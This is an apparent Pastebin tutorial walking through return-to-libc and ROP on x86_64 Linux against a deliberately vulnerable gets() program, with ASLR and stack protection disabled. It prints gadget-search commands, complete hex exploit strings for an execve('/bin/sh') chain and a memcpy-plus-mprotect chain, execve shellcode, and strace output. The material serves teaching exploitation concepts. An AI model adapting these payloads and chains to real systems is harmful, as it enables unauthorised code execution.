Advertisement
0xACAB

RET2LIBC x86_64 EXECVE and MPROTECT + SHELLCODE EXEC ON LINU

Mar 4th, 2013
1,301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.54 KB | None | 0 0
  1. RET2LIBC x86_64 EXECVE and MPROTECT + SHELLC0DE EXEC ON LINUX
  2.  
  3. Demonstrate the use of re2libc on a modern/up-to-date x86_64 Linux system for command execution and running shell code
  4.  
  5. ===============================================================
  6.  
  7. With the move to x86_64 and a lot of current protection mechanisms like stack protector, stack execution protection, DEP/NX protection, and ASLR, running arbitrary code is a lot harder than it used to be. The days of Aleph1 stack smashing are long gone. So, even if there has been no improvement in code quality and you find your bugs, exploiting them has got substantially harder, just because of the platform you're running on.
  8.  
  9. This post looks at ret2libc ("pop pop ret") to run commands without executing shell code, as well as using ret2libc to copy shell code into a memory area, defeat DEP/NX and run it.
  10.  
  11. The machine I am running this on is a recent x86_64 desktop running a Ubuntu-based distribution.
  12.  
  13. # uname -a
  14. Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 XXX 2012 x86_64 GNU/Linux
  15. # lsb_release -a
  16. No LSB modules are available.
  17. Distributor ID: Ubuntu
  18. Description: Ubuntu 10.04.3 LTS
  19. Release: 10.04
  20. Codename: lucid
  21.  
  22. By default, this has stack protection on (unless explicitly instructing gcc to not use it), allows no code execution on the stack, uses ASLR as well as DEP/NX.
  23.  
  24. For this purpose, we're turning off stack protection (which inserts "stack cookies" to ensure stack integrity) as well as ASLR, because it makes it much harder, while not adding a lot to the explanation of concepts. Perhaps in a later post I'll talk about these two as well.
  25.  
  26. I got a lot of info from the link below, but I never got his actual example with a <system> call working, so this takes a slightly different approach:
  27.  
  28. 1. use execve syscall through ret2libc
  29. 2. use <memcpy> libc function and mprotect syscall to execute inserted shellcode.
  30.  
  31. Link: http://crypto.stanford.edu/~blynn/rop/
  32. -----------------------------------------------------------------
  33.  
  34. For this exercise, we'll use some pretty basic C code as the victim. (you'll notice it is very similar to the code in the link):
  35.  
  36. --
  37.  
  38. #include <stdio.h>
  39. int main(){
  40. char name[64];
  41. printf("buffer address: %p\n", name); //print address of buffer
  42. puts("Enter text for name:");
  43. gets(name);
  44. printf("content of buffer: %s\n", name);
  45. return 0;
  46. }
  47.  
  48. --
  49.  
  50. This is obviously bad code. Even gcc gives a warning. Note, this is compiled with the -fno-stack-protector flag. We'll leave "execstack" on, though. (you can make sure it's on with # execstack -c victim).
  51.  
  52. If not already obvious, this code is vulnerable to a stack overflow. If you provide an input string larger than 64 characters, the name buffer is overflowed, and we overwrite the return address. That gives us control over the instruction pointer.
  53.  
  54. To make our life a little easier, we're printing out the buffer address. This proved useful in the end, since gdb adds some stack space itself, and between running in gdb and running interactively, there proved to be a 0x20 difference in buffer address. (That took me a while to realize…)
  55.  
  56. ------------------------------------------------------------------
  57.  
  58. *******************************
  59.  
  60. 1. EXECVE SYSCALL with ret2libc
  61.  
  62. *******************************
  63.  
  64. For the first exercise the plan is to simply execute /bin/sh (/bin/bash). In the link above, the jump is to <system> function call, but that didn't work for me, and it looks some protection is built in (it basically replaces the %rdi value with a strange low hex value). Here, then, we set up all the registers ourselves and jump to <execve>, which does little more than setting %rax to the right syscall number and the syscall itself.
  65.  
  66. A quick reminder of x86_64 linux syscall convention: %rax holds the syscall and parameters are passed in registers:
  67.  
  68. %rdi <- param 1
  69. %rsi <- param 2
  70. %rdx <- param 3
  71. %rcx <- param 4
  72. %r8 <- param 5
  73. %r9 <- param 6
  74.  
  75. No parameters are passed (directly) on the stack (unless we reference a structure, which may be a pointer to space on the stack).
  76.  
  77. execve takes 3 parameters:
  78.  
  79. int execve(const char *filename, char *const argv [], char *const envp[]);
  80.  
  81. The first parameter is the filename (/bin/sh in our case). argv should be a structure (you can read the man page), but passing null here works just as well, and we can leave envp null as well.
  82.  
  83. so, we need to achieve the following:
  84.  
  85. %rdi <- "/bin/sh" (note, null terminated)
  86. %rsi <- null/0x00
  87. %rdx <- null/0x00
  88.  
  89. %rax will be set to 0x3b (59) when execution is directed to <execve> libc function.
  90.  
  91. Disassembled victim code:
  92.  
  93. --
  94.  
  95. 00000000004005b4 <main>:
  96. 4005b4: 55 push %rbp
  97. 4005b5: 48 89 e5 mov %rsp,%rbp
  98. 4005b8: 48 83 ec 40 sub $0x40,%rsp
  99. 4005bc: b8 fc 06 40 00 mov $0x4006fc,%eax
  100. 4005c1: 48 8d 55 c0 lea -0x40(%rbp),%rdx
  101. 4005c5: 48 89 d6 mov %rdx,%rsi
  102. 4005c8: 48 89 c7 mov %rax,%rdi
  103. 4005cb: b8 00 00 00 00 mov $0x0,%eax
  104. 4005d0: e8 bb fe ff ff callq 400490 <printf@plt>
  105. 4005d5: bf 10 07 40 00 mov $0x400710,%edi
  106. 4005da: e8 c1 fe ff ff callq 4004a0 <puts@plt>
  107. 4005df: 48 8d 45 c0 lea -0x40(%rbp),%rax
  108. 4005e3: 48 89 c7 mov %rax,%rdi
  109. 4005e6: e8 d5 fe ff ff callq 4004c0 <gets@plt>
  110. 4005eb: b8 25 07 40 00 mov $0x400725,%eax
  111. 4005f0: 48 8d 55 c0 lea -0x40(%rbp),%rdx
  112. 4005f4: 48 89 d6 mov %rdx,%rsi
  113. 4005f7: 48 89 c7 mov %rax,%rdi
  114. 4005fa: b8 00 00 00 00 mov $0x0,%eax
  115. 4005ff: e8 8c fe ff ff callq 400490 <printf@plt>
  116. 400604: b8 00 00 00 00 mov $0x0,%eax
  117. 400609: c9 leaveq
  118. 40060a: c3 retq
  119. 40060b: 90 nop
  120. 40060c: 90 nop
  121.  
  122. --
  123.  
  124. There is a "leaveq" and a "retq".
  125. leaveq does this:
  126.  
  127. mov %rbp, %rsp
  128. pop %rbp
  129.  
  130. retq returns to the "calling function", pops the next address off the stack and directs execution there.
  131.  
  132. Stack lay-out:
  133.  
  134. -----------------
  135. | buffer (name) |
  136. | |
  137. | 64 bytes |
  138. | |
  139. |---------------|
  140. | saved %rbp |
  141. |---------------|
  142. | saved ret |
  143. |---------------|
  144. | older stack |
  145. | . . . |
  146.  
  147.  
  148. RET2LIBC refers to jumping to instructions within libc (loaded with victim, because of the inclusion of the <stdio.h> header), either code fragments, or function calls (which often, but not always, are interfaces to sys calls). So, since we cannot execute any code directly, we jump to code that _is_ executable.
  149.  
  150. Since we fully control %rip (and probably quite a bit of stack after that), we can send execution anywhere we want. Since we need to pass 3 parameters, we need something for %rdi, %rsi and %rdx. And since this will need to be chained (eventually everything needs to end up in <execve>, we will need to return, as well.
  151.  
  152. RET2LIBC is also referred to as POP POP RET. And here's why: what we'll do is find code that does:
  153.  
  154. pop %rdi
  155. retq
  156. pop %rsi
  157. retq
  158. pop %rdx
  159. retq
  160. <execve>
  161.  
  162.  
  163. These individual 'pop-rets' are usually referred to as "gadgets". They will allow us to jump around the code. So, we need to find memory addresses to give us this.
  164.  
  165. This is where the article linked above was very useful. We can grep through libc for retq, but that's a lot of stuff to go through. If we know what the actual hex opcodes are, we can look for them directly. To make this easy, I wrote a real quick bit of assembly that pushed some stuff to the stack, then pops rdi, rsi, rex, dcx, r9 and r8.
  166.  
  167. 600084: 5f pop %rdi
  168. 600085: 5e pop %rsi
  169. 600086: 5a pop %rdx
  170. 600087: 59 pop %rcx
  171. 600088: 41 59 pop %r9
  172. 60008a: 41 58 pop %r8
  173.  
  174. Nicely, all the main register "pops" are just a single byte.
  175.  
  176. We can now look for "pop %rdi - retq" by bytes:
  177. # locate libc.so
  178. /lib/libc.so.6
  179. /lib32/libc.so.6
  180. /opt/AutoScan/usr/lib/libc.so
  181. /opt/AutoScan/usr/lib/libc.so.6
  182. /usr/lib/libc.so
  183. # xxd -c1 -p /lib/libc.so.6 | grep -n -B1 c3 | grep 5f | awk '{printf"%x\n",$1-1}'
  184. 2028b
  185. 22a3e
  186. 233fa
  187. 23a77
  188. 248cf
  189. 254b9
  190. 25d54
  191. 261f1
  192. 2675e
  193. 27047
  194. 277e4
  195. 27b71
  196. 280f8
  197. 28761
  198. 290cd
  199. ...
  200.  
  201. Note: when doing this on your own machine, results will be different. If following along, follow the logic, don't just copy/paste commands.
  202.  
  203. This basically gives us a sequence of offset addresses since the beginning of libc with byte sequences matching 5f c3 (retq).
  204.  
  205. We can get the address in memory of libc by running victim and grepping proc/$pid/maps in a different shell window:
  206.  
  207. (Note, in another shell run: setarch `arch` -R ./victim -- setarch `arch` -R disables ASLR)
  208.  
  209. # ps -ef | grep victim
  210. root 28258 28233 0 13:21 pts/3 00:00:00 ./victim
  211. root 28262 26527 0 13:21 pts/1 00:00:00 grep --color=auto victim
  212. # grep libc /proc/28258/maps
  213. 7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885 /lib/libc-2.11.1.so
  214. 7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885 /lib/libc-2.11.1.so
  215. 7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885 /lib/libc-2.11.1.so
  216. 7ffff7dd7000-7ffff7dd8000 rw-p 00180000 08:05 46534885 /lib/libc-2.11.1.so
  217.  
  218. So, libc (executable) lives at 0x00007ffff7a57000
  219.  
  220. pick one of the offsets above, and simply add it to the libc address, and we have our first gadget!
  221.  
  222. We do exactly the same for pop %rsi and pop %rdx. Finally, we need to find the offset for the <execve> function:
  223.  
  224. # nm -D /lib/libc.so.6 | grep '\<execve\>'
  225. 00000000000acf80 W execve
  226.  
  227.  
  228. We do the same as before, we just add this to the libc base address:
  229.  
  230. # printf %016x $((0x7ffff7a57000+0xacf80)) | tac -rs..
  231. 803fb0f7ff7f0000
  232.  
  233. (note, we need this in reverse order)
  234.  
  235. The same printf command is also used to calculate the addresses for our pop-ret gadgets.
  236.  
  237. We place /bin/sh at the beginning of our buffer, and place the addresses and their values appropriately, which results in the following input string:
  238.  
  239. 2f62696e2f7368000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000d0e5ffffff7f0000187baaf7ff7f00000000000000000000928ba5f7ff7f00000000000000000000803fb0f7ff7f0000
  240.  
  241. I then turn this to binary with xxd -r -p and feed it into victim:
  242.  
  243. This results in the following stack:
  244.  
  245. -----------------------
  246. | /bin/sh + 00s |
  247. | |
  248. | 64 bytes |
  249. | |
  250. |---------------------|
  251. | 0x00007fffffffe5d0 | <-- buffer address, will be %rbp
  252. |---------------------|
  253. | 0x00007ffff7a7b8cf | <-- libc: pop %rdi-ret
  254. |---------------------|
  255. | 0x00007fffffffe5d0 | <-- buffer address: val of %rdi
  256. |---------------------|
  257. | 0x00007ffff7aa7b18 | <-- libc: pop %rsi-ret
  258. |---------------------|
  259. | 0x0000000000000000 | <-- null: val of %rsi
  260. |---------------------|
  261. | 0x00007ffff7a58b92 | <-- libc: pop %rdx-ret
  262. |---------------------|
  263. | 0x0000000000000000 | <-- null: val of %rdx
  264. |---------------------|
  265. | 0x00007ffff7b03f80 | <-- libc: <execve>
  266. | . . . |
  267.  
  268.  
  269. So, does this work? It does, but with some caveats. The thing that really messed with my head was that it would work in gdb, but then wouldn't work outside of it. Once I realized that gdb added 0x20 to the stack itself, between running interactive and through gdb I had to adjust offsets. The second thing is that while it runs, you don't actually get the shell you expect, you just get back to the command prompt. Not that that's a terrible thing here, all we're trying to do here is prove that we can do this, and the code is somewhat irrelevant. Running strace, we can see that we indeed executed /bin/bash, though:
  270.  
  271. [ 7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff7000
  272. [ 7ffff7b31f90] read(0, "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 128
  273. [ 7ffff7b31f90] read(0, "", 4096) = 0
  274. [ 7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer: /bin/sh
  275. ) = 27
  276. [ 7ffff7b03f87] execve("/bin/sh", [0], [0]) = 0
  277. [ 7ffff7df3fca] brk(0) = 0x6ea000
  278.  
  279.  
  280. [ 7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  281. [ 7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  282. [ 7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  283. [ 7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  284. [ 7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  285. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  286. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  287. [ 7ffff76bdad7] geteuid() = 0
  288. [ 7ffff76bdaf7] getegid() = 0
  289. [ 7ffff76bdac7] getuid() = 0
  290. [ 7ffff76bdae7] getgid() = 0
  291. [ 7ffff76eb047] access("/bin/bash", X_OK) = 0
  292. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  293.  
  294.  
  295. Very good! It does actually work. (you can see the write back to stdout with the buffer contents, followed by the execve syscall)
  296.  
  297.  
  298. IMPORTANT: In x86_64, we're passing 8 byte addresses and cannot shorten it. ALL MEMORY ADDRESSES HAVE AT LEAST TWO NULL BYTES. Therefore, let's forget about null-free input…
  299.  
  300. --------------------------------------------
  301.  
  302. ********************************
  303.  
  304. 2. RET2LIBC MPROTECT + SHELLCODE
  305.  
  306. ********************************
  307.  
  308. Now, this is nice, but what I _really_ like is run my own shell code of choice. We can endlessly chain pop-ret if we want to, but at 8 bytes for each instruction/gadget, that quickly gets quite large. If we can use ret2libc just for a first stage and then get some code executed, we can do a lot more.
  309.  
  310. So far we've "defeated" NX by simply never attempting to run any inserted code. We'll _actually_ have to defeat it if we want to run arbitrary code.
  311.  
  312. To test shell code, I typically use this bit of C:
  313.  
  314. --
  315.  
  316. int main(int argc, char **argv) {
  317.  
  318. void *ptr = mmap(0, sizeof(shellcode),
  319. PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
  320. | MAP_PRIVATE, -1, 0);
  321.  
  322. if (ptr == MAP_FAILED) {
  323. perror("mmap");
  324. exit(-1);
  325. }
  326.  
  327. memcpy(ptr, shellcode, sizeof(shellcode));
  328. sc = ptr;
  329.  
  330. sc();
  331.  
  332. return 0;
  333. }
  334.  
  335. --
  336.  
  337. So, we should be able to do a similar thing as above and chain gadgets to mmap an area, memcpy the shell code into it, and direct execution there.
  338.  
  339. One problem… (And this took a while to figure out) mmap takes 6 parameters:
  340.  
  341. void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  342.  
  343. This wouldn't be a problem if it were easy to find pop %r8 and pop %r9 near a ret, or something equivalent, but multiple searches through libc with either grep or xxd showed this was a dead end. 41-59-c3 and 41-58-c3 simply don't exist in (my) libc, and grepping objdump doesn't give us anything useful. So, we need a different plan.
  344.  
  345. Rather than mmapping a location directly to PROT_EXEC | PROT_WRITE | PROT_READ and then copying, we can copy first to a data section, and then run mprotect to change the permissions.
  346.  
  347.  
  348. void *memcpy(void *dest, void *src, size_t count);
  349. int mprotect(const void *addr, size_t len, int prot);
  350.  
  351. We need to find an area to copy to. With readelf we can find relevant sections:
  352.  
  353. [19] .ctors PROGBITS 0000000000600e18 000e18 000010 00 WA 0 0 8
  354. [20] .dtors PROGBITS 0000000000600e28 000e28 000010 00 WA 0 0 8
  355. [21] .jcr PROGBITS 0000000000600e38 000e38 000008 00 WA 0 0 8
  356. [22] .dynamic DYNAMIC 0000000000600e40 000e40 0001a0 10 WA 7 0 8
  357. [23] .got PROGBITS 0000000000600fe0 000fe0 000008 08 WA 0 0 8
  358. [24] .got.plt PROGBITS 0000000000600fe8 000fe8 000038 08 WA 0 0 8
  359. [25] .data PROGBITS 0000000000601020 001020 000010 00 WA 0 0 8
  360. [26] .bss NOBITS 0000000000601030 001030 000010 00 WA 0 0 8
  361. [27] .comment PROGBITS 0000000000000000 001030 000025 01 MS 0 0 1
  362.  
  363.  
  364. I decided to pick 0x601040. So, this is where we will write the shellcode. This is a rw- memory area (W=write; A=access), so writing shouldn't be a problem. Then, with mprotect we will set it to executable. For mprotect, I found out the hard way that this works on a whole page, and once I realized what that actually meant 0x601000 will be the address we pass to mprotect. That will then also apply to the .data and .bss sections.
  365.  
  366. ----------------------------------
  367. PROT_EXEC | PROT_WRITE | PROT_READ
  368.  
  369. This works just like rwx on the file system, so 7 = rwx, 5 = r-x, 6 = rw-, etc.
  370.  
  371. I tried both 7 and 5, and both worked on my system. Some implementations apparently check whether W is set as well as X and don't allow that, so 5 is the cleaner option, unless your shell code needs to write further data, of course (but you could use the stack for that as well).
  372. ----------------------------------
  373.  
  374. Both memcpy and mprotect are three parameter functions, so we can reuse our previously found gadgets. (Though pop %rdx just happens to be another one)
  375.  
  376. OK, some shellcode. This essentially does the same thing as we did before: run an execve to /bin/sh. Again, I'll just use null, null for the argv and envy params.
  377.  
  378. --
  379.  
  380. [bits 64]
  381. global _start
  382.  
  383. section .data
  384. command db "/bin/sh", 0x00
  385. ; 8 chars
  386.  
  387. _start:
  388. xor eax, eax
  389. xor esi, esi
  390. xor edi, edi
  391. xor edx, edx
  392.  
  393. popshell:
  394. mov al,0x3b
  395. lea rdi, [rel command]
  396. syscall
  397. call _start
  398. exit:
  399. xor eax, eax
  400. mov al, 60
  401. xor edi, edi
  402. syscall
  403.  
  404. nop
  405. nop
  406. nop
  407. nop
  408. nop
  409.  
  410. --
  411.  
  412. /bin/sh is loaded from a [rel command] so the address is relative (and negative, so no nulls, even though that doesn't matter here). The exit syscall here is redundant because it is never reached. The call was with the idea that if an error occurred it would be able to recover by looping back up, but that isn't actually how execve works, so could also be cut.
  413.  
  414. 0000000000600078 <command>:
  415. 600078: 2f (bad)
  416. 600079: 62 (bad)
  417. 60007a: 69 6e 2f 73 68 00 31 imul $0x31006873,0x2f(%rsi),%ebp
  418.  
  419. 0000000000600080 <_start>:
  420. 600080: 31 c0 xor %eax,%eax
  421. 600082: 31 f6 xor %esi,%esi
  422. 600084: 31 ff xor %edi,%edi
  423. 600086: 31 d2 xor %edx,%edx
  424.  
  425. 0000000000600088 <popshell>:
  426. 600088: b0 3b mov $0x3b,%al
  427. 60008a: 48 8d 3d e7 ff ff ff lea -0x19(%rip),%rdi # 600078 <command>
  428. 600091: 0f 05 syscall
  429. 600093: e8 e8 ff ff ff callq 600080 <_start>
  430.  
  431. 0000000000600098 <exit>:
  432. 600098: 31 c0 xor %eax,%eax
  433. 60009a: b0 3c mov $0x3c,%al
  434. 60009c: 31 ff xor %edi,%edi
  435. 60009e: 0f 05 syscall
  436. 6000a0: 90 nop
  437. 6000a1: 90 nop
  438. 6000a2: 90 nop
  439. 6000a3: 90 nop
  440. 6000a4: 90 nop
  441.  
  442. Without the nops, that is 40 characters. We should have 64 chars at least for size, and +16 if we don't care about the stack base pointer. The effective code here is 26 bytes (without the call and exit), so 64 would allow us quite a few more actions, especially if we do standard de-nulling.
  443.  
  444. The bytes under <command> stand for /bin/sh, 0x00. Because of the null byte, the rest of the shell code will not be echoed to the screen when victim prints the buffer. You can also see that command is 0x19 back from %rip when its address is loaded.
  445.  
  446. For our pop-ret chain, we do have to remember to jump to <_start> at <command>+0x08 to jump into executable code, rather than the top of our base address. (If you don't, you start executing the /bin/sh bytes 2f, 62, etc. which give you an bad instruction error)
  447.  
  448. xxd -s0x78 -l40 -p the compiled code to generate the shell code. This will go at the start of our input string.
  449.  
  450. 2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
  451.  
  452. This is what the stack will look right after the get function in victim:
  453.  
  454. -----------------------
  455. | 2f62696e2f73680031..| <-- /bin/sh, 0x00 + executable shellcode
  456. | |
  457. | 64 bytes |
  458. |(filled up with 0x00)|
  459. |---------------------|
  460. | 0x00007fffffffe5d0 | <-- %rbp (upon leave)
  461. |---------------------|
  462. | 0x00007ffff7a7b8cf | <-- libc: pop %rdi-ret
  463. |---------------------|
  464. | 0x0000000000601040 | <-- start of mem to write to (dest): val of %rdi
  465. |---------------------|
  466. | 0x00007ffff7aa7b18 | <-- libc: pop %rsi-ret
  467. |---------------------|
  468. | 0x00007fffffffe5d0 | <-- buffer to copy from (src): val of $rsi
  469. |---------------------|
  470. | 0x00007ffff7aa32d2 | <-- libc: pop %rdx-ret
  471. |---------------------|
  472. | 0x0000000000000028 | <-- length to copy: 40 (0x28): val of %rdx
  473. |---------------------|
  474. | 0x00007ffff7adf290 | <-- libc: <memcpy>
  475. |---------------------|
  476. | 0x00007ffff7a7b8cf | <-- libc: pop %rdi-ret
  477. |---------------------|
  478. | 0x0000000000601000 | <-- top of page to mprotect: val of %rdi
  479. |---------------------|
  480. | 0x00007ffff7aa7b18 | <-- libc: pop %rsi-ret
  481. |---------------------|
  482. | 0x0000000000001000 | <-- page size: val of %rsi
  483. |---------------------|
  484. | 0x00007ffff7aa32d2 | <-- libc: pop %rdx-ret
  485. |---------------------|
  486. | 0x0000000000000005 | <-- r-x: val of %rdx
  487. |---------------------|
  488. | 0x00007ffff7b3c570 | <-- libc: <mprotect>
  489. |---------------------|
  490. | 0x0000000000601048 | <-- direct to executable shell code (+0x08)
  491. |---------------------|
  492. | 0xacabacabacabacab | <-- marker/signature
  493. |---------------------|
  494. | |
  495. | . . . |
  496.  
  497.  
  498. Full hex input string:
  499. 2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f00004010600000000000187baaf7ff7f0000d0e5ffffff7f0000d232aaf7ff7f0000280000000000000090f2adf7ff7f0000cfb8a7f7ff7f00000010600000000000187baaf7ff7f00000010000000000000d232aaf7ff7f0000050000000000000070c5b3f7ff7f00004810600000000000abacabacabacabac
  500.  
  501. I save this in a file called mprot.ascii, and then convert to binary:
  502.  
  503. # xxd -r -p mprot.ascii mprot
  504.  
  505. I then run the exploit by cat'ing the file into the victim program.
  506.  
  507. --
  508.  
  509. # cat mprot | setarch `arch` -R ./victim
  510. buffer address: 0x7fffffffe5d0
  511. Enter text for name:
  512. content of buffer: /bin/sh
  513. #
  514.  
  515. --
  516.  
  517. Again, we don't actually get a shell, but we can check with strace again whether /bin/bash is actually started. And it is. Also note the call to mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0 right before /bin/sh is executed:
  518.  
  519.  
  520. [ 7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff7000
  521. [ 7ffff7b31f90] read(0, "/bin/sh\0001\3001\3661\3771\322\260;H\215=\347\377\377\377\17\5\350\350\377\377\377"..., 4096) = 200
  522. [ 7ffff7b31f90] read(0, "", 4096) = 0
  523. [ 7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer: /bin/sh
  524. ) = 27
  525. [ 7ffff7b3c577] mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0
  526. [ 60105b] execve("/bin/sh", [0], [0]) = 0
  527. [ 7ffff7df3fca] brk(0) = 0x6ea000
  528.  
  529.  
  530. [ 7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  531. [ 7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  532. [ 7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  533. [ 7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  534. [ 7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file or directory)
  535. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  536. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  537. [ 7ffff76bdad7] geteuid() = 0
  538. [ 7ffff76bdaf7] getegid() = 0
  539. [ 7ffff76bdac7] getuid() = 0
  540. [ 7ffff76bdae7] getgid() = 0
  541. [ 7ffff76eb047] access("/bin/bash", X_OK) = 0
  542. [ 7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st_ctime=2012/05/28-17:30:45}) = 0
  543.  
  544.  
  545. /bin/bash executed.
  546.  
  547. So, we know that the shell code was executed, but we can also check what happened to our data page. Before we checked /proc/$pid/maps to check the in-memory location of libc, we can do the same to get everything:
  548.  
  549. Before (at program start):
  550.  
  551. # cat /proc/24034/maps
  552. 00400000-00401000 r-xp 00000000 08:05 9699676 /xx/xx/xx/victim
  553. 00600000-00601000 r--p 00000000 08:05 9699676 /xx/xx/xx/victim
  554. 00601000-00602000 rw-p 00001000 08:05 9699676 /xx/xx/xx/victim
  555. 7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885 /lib/libc-2.11.1.so
  556. 7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885 /lib/libc-2.11.1.so
  557. 7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885 /lib/libc-2.11.1.so
  558.  
  559. After (at 0x601048):
  560.  
  561. # cat /proc/24034/maps
  562. 00400000-00401000 r-xp 00000000 08:05 9699676 /xx/xx/xx/victim
  563. 00600000-00601000 r--p 00000000 08:05 9699676 /xx/xx/xx/victim
  564. 00601000-00602000 r-xp 00001000 08:05 9699676 /xx/xx/xx/victim
  565. 7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885 /lib/libc-2.11.1.so
  566. 7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885 /lib/libc-2.11.1.so
  567. 7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885 /lib/libc-2.11.1.so
  568.  
  569. 00400000-00401000 is the code section
  570. 00600000-00601000 program stuff: .ctors, .dtors, .got, .got.plt, etc.
  571. 00601000-00602000 data section
  572.  
  573. i.e.:
  574. Before: 00601000-00602000 rw-p 00001000 08:05 9699676 /xx/xx/xx/victim
  575. After: 00601000-00602000 r-xp 00001000 08:05 9699676 /xx/xx/xx/victim
  576.  
  577. =====================================================
  578.  
  579. This proves the ret2libc/poppopret concept. In order to make all of this really useful, we'll also have to deal with stack protection and ASLR. Perhaps another time … ;)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement